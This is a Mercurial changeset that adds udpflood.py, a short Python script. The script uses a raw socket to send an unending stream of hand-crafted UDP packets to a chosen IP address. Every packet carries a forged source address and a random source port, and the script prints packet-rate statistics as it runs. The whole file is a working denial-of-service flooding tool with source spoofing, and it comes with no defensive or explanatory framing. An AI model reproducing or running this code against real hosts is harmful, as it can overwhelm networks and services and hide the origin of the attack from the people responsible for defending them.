initial import default tip
authorTero Marttila <terom@fixme.fi>
Wed, 25 Jun 2014 00:59:42 +0300
changeset 0 8f3d13f47404
initial import
udpflood.py
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/udpflood.py	Wed Jun 25 00:59:42 2014 +0300
@@ -0,0 +1,74 @@
+import dpkt
+import ipaddr
+import os
+import random
+import socket
+import struct
+import sys
+import time
+
+IP_HDR = struct.Struct('! BBH HH BBH 4s 4s')
+UDP_HDR = struct.Struct('! HH HH')
+
+def udpflood (dst, rate=None):
+    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+
+    daddr = ipaddr.IPAddress(dst).packed
+    dport = 1337
+    ttl = 64
+
+    t0 = time.time()
+    t1 = 0.0
+    count = 0
+    size = 0
+
+    while True:
+        saddr = 'ABC' + os.urandom(1)
+        sport = random.randint(1, 2**16 - 1)
+        
+        # UDP checksum is optional
+        udp_hdr = UDP_HDR.pack(sport, dport, 8, 0x1337)
+
+        # IP checksum is filled in by kernel raw socket
+        ip_hdr = IP_HDR.pack(
+                0x45, 0x00, IP_HDR.size + UDP_HDR.size + 0,
+                0x0000, 0x0000,
+                ttl, dpkt.ip.IP_PROTO_UDP, 0,
+                saddr,
+                daddr,
+        )
+
+        pkt = ip_hdr + udp_hdr + ''
+        sock.sendto(pkt, (dst, 0))
+        
+        # stats
+        count += 1
+        size += len(pkt)
+        t = time.time() - t0
+
+        if rate and count % 1000:
+            over = count - t * rate 
+
+            if over > 0:
+                #sys.stdout.write('.')
+                time.sleep(over / rate)
+        
+        if t - t1 > 1.0:
+            sys.stdout.write('%8.2fs: %8d   @ %8.2f/s   = %8.2fM @ %5d/pkt\n' % (t, count, count / t, size / 1e6, size / count))
+            t1 = t
+
+    return 0
+
+def main (argv):
+    prog = argv.pop(0)
+    dst = argv.pop(0)
+
+    if argv:
+        rate = int(argv.pop(0))
+    else :
+        rate = None
+
+    return udpflood(dst, rate)
+
+if __name__ == '__main__':
+    sys.exit(main(sys.argv))